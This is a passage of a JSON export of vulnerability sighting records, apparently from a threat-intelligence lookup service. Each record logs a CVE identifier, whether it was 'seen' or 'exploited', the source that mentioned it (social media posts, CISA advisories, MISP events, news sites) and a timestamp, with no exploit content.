"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40446", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114388534917212203", "content": "", "creation_timestamp": "2025-04-23T17:48:46.357849Z"}, {"uuid": "fca59596-8e8e-4d9a-bed4-3d415af23d5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40462", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpsgy335py2y", "content": "", "creation_timestamp": "2025-05-23T01:08:23.533524Z"}, {"uuid": "4f35a0bd-fa3b-4ac2-905d-395b9d718d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-20)", "content": "", "creation_timestamp": "2025-06-20T00:00:00.000000Z"}, {"uuid": "94415deb-ea59-4281-908e-a90d02bc70b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4067", "type": "seen", "source": "https://gist.github.com/EduardoCorpay/fdaeb4ec65cc4a1c8fcd2fb0162de09c", "content": "", "creation_timestamp": "2025-06-11T15:29:00.000000Z"}, {"uuid": "84aa1570-abe5-45f1-b3f2-074b78e4fa3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40120", "type": "seen", "source": "https://gist.github.com/sud0why/1b2115c1d644bd3db1c1b3f16684a78c", "content": "", "creation_timestamp": "2025-05-13T02:16:06.000000Z"}, {"uuid": "5dfd4961-8b1a-4b58-9b78-7f7100000b40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40835", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33vrqss2d", "content": "", "creation_timestamp": "2025-07-15T04:32:33.035949Z"}, {"uuid": "07f78e24-7f86-4271-bb65-c9f199829c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40836", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33vrqss2d", "content": "", "creation_timestamp": "2025-07-15T04:32:33.134368Z"}, {"uuid": "81772746-a585-4279-bb85-5ca758310807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40809", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33vrqss2d", "content": "", "creation_timestamp": "2025-07-15T04:32:33.664688Z"}, {"uuid": "3a924ba9-54a7-4ab5-82bd-976dc39eabb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40812", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33vrqss2d", "content": "", "creation_timestamp": "2025-07-15T04:32:33.770213Z"}, {"uuid": "c13114fc-1076-4ec8-9c9c-d429263b59f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40787", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33vrqss2d", "content": "", "creation_timestamp": "2025-07-15T04:32:33.868436Z"}, {"uuid": "e107ec6c-4141-417b-a442-2a9351a1b661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40793", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33vrqss2d", "content": "", "creation_timestamp": "2025-07-15T04:32:33.965495Z"}, {"uuid": "c30c4083-4688-410c-86c1-3750c08c0e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40835", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33w7hc22d", "content": "", "creation_timestamp": "2025-07-15T04:32:34.693043Z"}, {"uuid": "8ca56654-be02-4129-8310-2d3ff56f098e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40836", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33w7hc22d", "content": "", "creation_timestamp": "2025-07-15T04:32:34.788793Z"}, {"uuid": "b9322f33-cf39-48d9-a785-b0ebcde6d1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40809", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33w7hc22d", "content": "", "creation_timestamp": "2025-07-15T04:32:35.327696Z"}, {"uuid": "d27cec12-8b97-4636-96e1-95c9eb46c806", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40812", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33w7hc22d", "content": "", "creation_timestamp": "2025-07-15T04:32:35.429667Z"}, {"uuid": "9c4623ee-496d-4ef0-bc6c-cf62a216cfe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40787", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33w7hc22d", "content": "", "creation_timestamp": "2025-07-15T04:32:35.527108Z"}, {"uuid": "06745b7e-d41b-4bdc-a2bb-79b8da60e2bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40793", "type": "seen", "source": "https://bsky.app/profile/lizp.bsky.social/post/3lty33w7hc22d", "content": "", "creation_timestamp": "2025-07-15T04:32:35.625018Z"}, {"uuid": "924306a4-3ac1-40da-9443-18828b516f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3luhdnmcxhs2w", "content": "", "creation_timestamp": "2025-07-21T06:15:38.972392Z"}, {"uuid": "04ef6da6-0663-49cd-a41d-67f7d51cc1f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "MISP/41b2f5bb-a728-5d60-ac2f-cbb9fb1ecad9", "content": "", "creation_timestamp": "2025-10-13T11:11:18.000000Z"}, {"uuid": "802a9b10-183b-41b4-a286-9d5b61df03cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40682", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lunck7qf7d2h", "content": "", "creation_timestamp": "2025-07-23T15:11:43.206088Z"}, {"uuid": "744a7578-76b1-4039-a5ca-00db8b78c742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:03.000000Z"}, {"uuid": "976032f8-d4e8-4fdb-b33c-42ff49496f2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://www.cert.at/de/warnungen/2025/8/erhohte-bedrohungsaktivitat-gegen-sonicwall-gen-7-firewalls-mit-sslvpn-sofortmassnahmen-empfohlen", "content": "", "creation_timestamp": "2025-08-05T08:53:46.000000Z"}, {"uuid": "5b04d619-59e2-47b5-9b3d-328085f82a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://infosec.exchange/users/dfncert/statuses/114986704982128308", "content": "", "creation_timestamp": "2025-08-07T09:11:16.801122Z"}, {"uuid": "1e196bb1-ffb1-41d8-aca2-ee05c264d9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/bsi.bund.de/post/3lvspsf3zx22a", "content": "", "creation_timestamp": "2025-08-07T12:17:27.040598Z"}, {"uuid": "4399d82b-cc56-4b70-8044-abb9e0260718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/114987562028774683", "content": "", "creation_timestamp": "2025-08-07T12:49:14.210192Z"}, {"uuid": "9eccc3e1-16cb-417b-b44f-2e9f4b4266b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lvsrlhlm7k2a", "content": "", "creation_timestamp": "2025-08-07T12:49:22.100108Z"}, {"uuid": "10be9fc8-bf03-4afa-b014-e54c8849da58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://thehackernews.com/2025/08/sonicwall-confirms-patched.html", "content": "", "creation_timestamp": "2025-08-07T08:32:00.000000Z"}, {"uuid": "4f9b3c71-0bef-456f-ae8f-ec25a3c7a0e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lvt2r5kpot2k", "content": "", "creation_timestamp": "2025-08-07T15:33:36.533644Z"}, {"uuid": "1b7ff6b0-e5c0-44b1-97d0-21f69524fa45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3lvt4lylles23", "content": "", "creation_timestamp": "2025-08-07T16:06:32.066140Z"}, {"uuid": "47febf2c-4d65-4999-ad20-818bd6dd5349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/jgreig.bsky.social/post/3lvtiqamekc2o", "content": "", "creation_timestamp": "2025-08-07T19:43:40.139878Z"}, {"uuid": "11737727-1b42-47b3-8af7-96ca059c2fbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lvu7cg6fmv2u", "content": "", "creation_timestamp": "2025-08-08T02:27:30.507074Z"}, {"uuid": "96c49dfd-617b-4aa7-aa22-c08d46548029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lvuayjv4g22h", "content": "", "creation_timestamp": "2025-08-08T02:57:49.730344Z"}, {"uuid": "d5ffed02-cdba-4b4a-88fb-85f10b278d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lvuc3wt2fc2h", "content": "", "creation_timestamp": "2025-08-08T03:17:36.021898Z"}, {"uuid": "928bb9ad-e1f2-43f5-a932-860ea3fff42b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lvudf7nlos2h", "content": "", "creation_timestamp": "2025-08-08T03:40:42.217459Z"}, {"uuid": "8f173493-92c7-4a50-97c2-d38b911da644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lvuth733no2n", "content": "", "creation_timestamp": "2025-08-08T08:28:06.008974Z"}, {"uuid": "148429fb-0985-4d83-a272-d8fbf68fd399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/114993286671148714", "content": "", "creation_timestamp": "2025-08-08T13:05:06.855591Z"}, {"uuid": "010e1a4a-03c7-4c91-ad45-870da242fa28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://threatintel.cc/2025/08/08/ssl-vpn-vulnerability-impacting-gen.html", "content": "", "creation_timestamp": "2025-08-08T11:05:11.000000Z"}, {"uuid": "f95d9793-a348-48cc-9fde-86544461142c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3m2bwbmgkrs2x", "content": "", "creation_timestamp": "2025-10-03T11:04:09.712212Z"}, {"uuid": "8daf2998-89c2-4c64-983a-fdb335bdc261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3m2bwbpvz6s2x", "content": "", "creation_timestamp": "2025-10-03T11:04:10.236748Z"}, {"uuid": "c72b2f4e-f7d4-41f9-99e4-dbd4f120224e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/devcentral.bsky.social/post/3lz2gxjvthc2s", "content": "", "creation_timestamp": "2025-09-17T18:16:08.292810Z"}, {"uuid": "0b6cb7f1-f7d1-4971-a78b-3d712a0cf748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/115310858693528158", "content": "", "creation_timestamp": "2025-10-03T15:07:49.891935Z"}, {"uuid": "6978af5d-ded4-460a-8072-a48b89896e05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lytkofyyu22z", "content": "", "creation_timestamp": "2025-09-15T00:34:00.537266Z"}, {"uuid": "5ebc9c2d-dacd-4427-8baf-3ea5f5b5477b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40766", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3m2cp7veuuv2g", "content": "", "creation_timestamp": "2025-10-03T18:30:28.317434Z"}, {"uuid": "d0296c4c-1573-4e79-8b20-3735bba2cb13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3lyjfu2wcjp25", "content": "", "creation_timestamp": "2025-09-10T23:41:02.715712Z"}, {"uuid": "fd448152-c490-4989-8f68-a7de95a2b963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40635", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-12T13:33:28.000000Z"}, {"uuid": "9eef0502-6f52-4b27-80e6-4b2a80f292a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/cybelangel.bsky.social/post/3lyuhbsd3vs26", "content": "", "creation_timestamp": "2025-09-15T09:05:56.763574Z"}, {"uuid": "2e6515b3-8f24-47fa-9883-ada28ff5ff8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3lzxx6kjhft2w", "content": "", "creation_timestamp": "2025-09-29T11:53:36.285338Z"}, {"uuid": "0edebaf7-1eca-4ce3-8c16-f7a60450f0c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://threatintel.cc/2025/09/29/akira-ransomware-bypasses-mfa-on.html", "content": "", "creation_timestamp": "2025-09-29T09:15:27.000000Z"}, {"uuid": "304724fb-382a-4afc-876e-1e0937811f9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/blackfog.com/post/3lzy7gckggx25", "content": "", "creation_timestamp": "2025-09-29T14:21:07.155643Z"}, {"uuid": "909732da-af65-4722-9865-65109bd44ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/115344943934432392", "content": "", "creation_timestamp": "2025-10-09T15:36:27.412678Z"}, {"uuid": "bb694b9c-8468-4afc-bb59-5d47c3cc6548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40766", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3lyk2zwnzfo2x", "content": "", "creation_timestamp": "2025-09-11T06:00:08.354373Z"}, {"uuid": "c217337a-64d8-47e1-a448-d992ce3fd788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lzyfacas3y2x", "content": "", "creation_timestamp": "2025-09-29T16:05:08.105577Z"}, {"uuid": "a40115e3-22d2-4359-a82b-ec195a095501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40901", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "d84e3877-d7b2-438f-bff7-39ea2b312c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40902", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "e84bd02f-e526-4b56-bbdc-d6345571fcb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40904", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "85746130-3de3-444b-8831-ce345a9e91e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40905", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "a85f7261-a1ea-4084-bf28-ccfae8a33c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40912", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "4f5f1872-bda9-41b1-8d75-77fbc513691d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40941", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "1816e881-d6ca-4d3b-b848-e67e77726506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40942", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "fea27660-30cb-4c27-b724-b78b6e7f2819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40958", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "428510b7-385e-4d46-a6a5-478219ac3d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40988", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "175465df-179e-444e-9b31-e43fb626b6f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40932", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "7543d663-a0a6-4067-8b30-e32184266350", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40934", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "a381b8f3-0986-453d-bd90-11168a54d7b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40947", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "d737a216-3c4e-416a-a0c0-01c2f8ed1871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40983", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "f6386fd3-888a-4a6e-97fe-f2a95aaad777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40931", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "30c2acd7-8ae7-421b-b775-4a32be689c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40960", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "c46db81a-d901-4532-bc93-884790813b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40971", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "654e7b29-4ada-423e-a317-3a23b3105941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40974", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "44ad31bd-4388-4c34-ba1a-5ad5932e1b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40916", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "486f79fc-eb6b-4713-a84d-900da949f616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40929", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "4ccfd98f-2743-4450-9abb-883a50482883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40943", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "8fd14906-d281-4db0-9b27-871fe2b7b204", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40945", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "26e25d20-259b-42cc-bdfe-3a63186fb1b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40959", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "2ba2f9cd-4ca4-4699-b941-32722b150113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 